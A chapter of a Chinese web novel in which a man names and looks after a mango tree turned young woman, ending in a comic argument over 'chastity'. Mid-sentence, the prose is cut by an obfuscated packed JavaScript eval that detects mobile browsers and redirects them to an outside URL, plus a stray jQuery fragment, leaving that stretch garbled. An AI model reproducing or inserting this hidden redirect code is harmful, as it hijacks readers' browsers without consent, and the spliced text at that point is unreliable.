36. 还严漌清白
作品:《芒狗滞销,帮帮我们!!!》 严漌要带黄笑笑重返人类社会,这是他能想到的最好办法。
黄笑笑变不回去芒果,可作为人类,她要学习的还有很多。尤其是身为人类女性,黄笑笑的路会更加艰难。
可严漌是个男人,女人的事情,他知之甚少。如果要教女人做人,他更是不知从何教起,何况,他也根本没有那个资格教。
思来想去,最好的办法,还是把黄笑笑放生回女人群中。
宋知,想必她那么喜欢黄笑笑,一定会愿意教黄笑笑的。只是,黄笑笑的身份不能暴露。如果要带她回去,那不能是以黄笑笑的名义。
至于黄笑笑的名字,自然是由她自己决定。而且,黄笑笑还不一定愿意跟着他回去呢。想到这里,严漌情绪低落了起来。
“笑笑,你睡了吗?”
严漌躺在床尾,看着窗外朦胧的月,轻声问道。
黄笑笑的眼睛一直睁着,瞳孔亮得像星子,反射出周围的环境。
她没有回答,也没有动作。
时间久到严漌都以为她睡着了,正打算作罢,黄笑笑才低声回复:“没有。”
严漌微微阖着的双目猛然睁开,内心竟然生出些惶恐,他要怎么和黄笑笑开口呢?
上回还没说两句,黄笑笑就开始套芒果皮了。
这次,应该怎么说,从哪说起呢?
严漌犹疑地开口:“笑笑,你......有自己的名字吗?”
一阵安静过后,黄笑笑清脆短暂的声音传来:“杧树。”
“啊?”
严漌心里打着鼓,本能地发出疑问,随即便是一段沉默。
黄笑笑无心为他解答翻译。
严漌记得那分别纸片上的署名,那个“杧”字。
他开口继续问道:“那...你有自己的人类的名字吗?”
黄笑笑眨眨眼,卷翘的睫毛在微光下泛着亮色,她想起了齐明珠。
她坚定地回答道:“小杧!”
严漌无声地跟着念了一遍,唇齿相接,嘴唇相碰,发出了轻微到听不见的一声“啵”。
“笑笑,那你以后就叫小杧,可以吗?”
“嗯。”
出乎严漌意料的,黄笑笑十分顺从地就答应了,并且什么都没问。
这反而弄得严漌有些摸不着头脑。
黄笑笑的想法就简单多了,据她的观察,人类世界的名字不过是个代号。对她来说,别人叫她什么都没什么区别,哪怕是编号98757。
名字似乎都是留给别人叫的。
严漌思绪万千,却不知道从何说起,最后他默默掐住了手心,问出了那个他一直想问的问题。
“笑笑......小杧,你为什么...会变成人?”
黄笑笑垂眸,合拢了双手,说道:“因为你。”
严漌弹起了身子,又默默坐了回去。
他思考着这个回答,可他想不明白,于是直接问道:“什么意思?笑笑,我不太明白。”
黄笑笑鼻子长出一口气,充满了无奈,她侧过身去烦躁地说道:“哦。”
.......
此后任凭严漌怎么问,黄笑笑都毫无回应。
黄笑笑正回忆着昨天严漌和她絮叨的那些事情。
严漌关心温柔地说道:“来月经的时候要注意身体,有不舒服的地方要及时告诉我。人类来月经,是因为要怀孕生孩子......”
黄笑笑不屑地说道:“可我又不会生孩子。”
严漌不知如何接话,于是自顾自胡乱言语地说着他知道的。
“月经是从子宫里来的,有子宫,会来月经。”
黄笑笑真心地问道:“子宫在哪?我可以不要吗?”
“子宫...子宫在肚子里。”
黄笑笑摸着自己的腹部,到处触碰着,一边问道:“是这里吗?还是这里?”
严漌看着这一幕,有些尴尬,他把黄笑笑的手拽了下来。
“我也不是很清楚,这得问医生。”
“医生?宋知不是医生吗?我可以去问她吗?”
严漌松了口气,语调轻松下来,他笑着答道:“当然。”
只要不再用这些他不知答案也不知如何回答的问题折磨他就好。
待黄笑笑经期结束,二人就踏上了“寻医”之旅,不过只是黄笑笑自以为的。
二人走在空旷的道路中间,尘土飞扬,严漌推着车,上面满载货物。
“笑...小杧,你知道我为什么会给你取名黄笑笑吗?”
黄笑笑双手插在兜里,闻言侧头看他一眼。
严漌向前看着,并未转头与她对视。
黄笑笑收回视线,看着四周荒凉的风景,淡淡地答道:“不造。”
她懒懒的,于是说话也短短的,总是尽可能少说。
严漌看了一眼她饱满的后脑勺,弯着眉眼说道:“你那个时候小小的,不会说话只会笑,头发也黄黄的。”
“我希望你可以一直笑,所以才叫你笑笑。”
“没想到一转眼,就这么大了,会说话了,也不爱笑了。”
“就像是孩子长大到了青春期......”
严漌说着说着,声音越来越小,直到最后一句飘散在了风中,他也跟着有些怅然若失。
黄笑笑有些惊诧地看了他一眼,并未回应。
实打实地接触过后,严漌发现黄笑笑和小时候差别很大又很小。
他能从她身上看到相似的影子,又发现原来相同的事情,大版和小版做出来会有截然不同的效果。
譬如,小笑笑笑眯了眼,大笑笑是眯着眼笑。
明明是差不多的笑法,连嘴角的弧度都别无二致,可小时候笑起来就是活泼可爱,长大了再笑却带着一股媚感,连笑都像是胜券在握。
问题出在哪?
是眼神吧。
小笑笑的眼睛圆溜溜的,看着就清澈认真。大笑笑的眼睛狭长了些,微微上挑,总是带着股不屑的味道,看什么都有些手到擒来,手拿把掐的意思。
黄笑笑小时候就不爱说话,那时候是因为她不太会说话。
她现在也不太爱说话,三棍子打不出个屁,配上一副淡薄带冷笑的眸子,外加一张时刻都像是在嘲讽人的微笑唇,黄笑笑现在这副样子,说什么话都像是话里有话。
可她真没有,她一贯是直来直往的,虽然长得不像。
或许是失去之后格外怀念,严漌回忆着几个月前黄笑笑的模样,难免有些唏嘘起来。
黄笑笑才懒得伤春悲秋,压根儿就没管严漌的心理活动。
她的头发,自从在地里埋过之后,就黑了很多。室内,或是暗光之下,她的头发看着就是黑色的。只有在强光之下,才能透出些金棕色。
眼下,太阳照着,她人白得发亮,头发就跟着金灿灿的。
严漌胡思乱想着,还好黄笑笑的头发不会变绿,更不会像电视剧里突然疯长或是掉光。如果突然出现那种情形,只怕会是相当难哄。
二人漫无目的,悠哉游哉地走着,黄笑笑东看看西逛逛,时不时还停下拔两根路边的草。
托黄笑笑的福,严漌如今觅食简单多了。黄笑笑简直是运气旺,她随便找颗树或是植物,就能发现果子。
这果子,细思......
严漌才不会细思,只要能活着就行。
自从黄笑笑归来后,严漌就感觉到自己身体好了很多,也许是心中所求圆满?
对于严漌来说世界上最难伺候的人,黄笑笑一定能排前十。
这小姑娘,真是好一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218431|176109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
软硬不吃!
来软的吧,黄笑笑至少能赏一个眼神,来硬的呢,那就真是完了蛋了。
而且,黄笑笑真的很擅长冷暴力。
没错,这是一颗很会冷暴力的树。
严漌原本故意憋着,特意没和黄笑笑说话,可黄笑笑真就能一直不说话。
自小到大,严漌没在女生里受过这种待遇。主动说话吧,人不理你,不说话吧,人还是不理你。
严漌真没招了,他被她狠狠地冷暴力了。
他没想到,当夜,他就要被“热暴力”了。
二人露宿街头,扎着帐篷,这一路来,她们一个人也没遇见。
黄笑笑非要和严漌一起睡,严漌说:“不行,男女有别。”
黄笑笑说:“我是树。”
严漌说:“你现在是人。”
黄笑笑说:“我不是人。”
严漌打不过黄笑笑,真打不过,于是被拖着进了帐篷。
这个月黑风高夜,杀人放火时,严漌看着天上高挂的零个月,心中悲凉无比。
如果他有罪,罪不至此。
铁树不开花,黄笑笑芒果树也不开花的吗?
虽然芒果树的花的确很小,不起眼......
黄笑笑薅着严漌的脖颈子往被窝里塞时,严漌大喊:“有辱斯文!”
震惊的是,听到这话,黄笑笑居然停下了动作,她问:“斯文是什么?”
严漌支吾了起来,说实在的,他语文不怎么好。
“斯文...斯文就是斯文...”
黄笑笑见他只会胡言乱语,于是恢复了动作。
严漌依旧不死心,大喊道:“清白!”
黄笑笑表情不善起来,紧皱眉头,双眸蕴含怒色微微瞪着严漌。
严漌见她有些生气,攥着自己衣领的手力气也愈发大些,有些慌张,于是口不择言地喊道:“还我清白!”
黄笑笑蔑视地看他一眼,于是爽快松手一推,严漌重重地坠在地上。
气氛像冰一样冻结。
严漌疼得呲牙咧嘴,黄笑笑双手叉着,就这样冷冷地看着他。
一个高高在上,一个深陷泥潭。
严漌头疼极了,挠了挠头,试图为自己解释。
“清白,对于一个人...对于一个男人来说,是特别重要的。”
黄笑笑面色缓和下来,随即又变得难看,她困惑地问道:“我又没拿你清白,为什么叫我还?”
严漌艰难地抿了抿唇,说道:“是,你是没拿。可是,你差点毁了我的清白...”
?
黄笑笑充满疑问。
严漌无心给黄笑笑套上枷锁,更不希望给她灌输或者带上贞洁的自我限制,但是没关系,他可以给自己戴,至少他是热衷于这件事情的。
众所周知,贞洁,是男人最好的牌坊。
严漌打小就知道怎么卖乖,更是清楚怎么在女人面前给自己标个好价钱,也知晓如何保留双方面子的拒绝接触。
不过眼下情况特殊,他并不是要欲拒还迎,或者抬高身价,或者勾引暗示黄笑笑。
他想在尽可能不影响黄笑笑的认知情况下,做些,他认为合适的科普。
虽然,这科普实在微妙。
可他实在不想,让黄笑笑觉得,对于女性来说,或者对于她来说,所谓的“清白”、“干净”是很重要的东西。
她也可以觉得很重要,不过,那应该是在她挑选合适的伴侣之时,在审视对方之时。
黄笑笑可以用“清白”观念去衡量对她“图谋不轨”的异性,但唯独不能是她自己。
如果有人非要以“清白”在她身上施压,严漌实打实希望她能扇对方几个耳刮子。
这才是严漌想为黄笑笑做到的科普。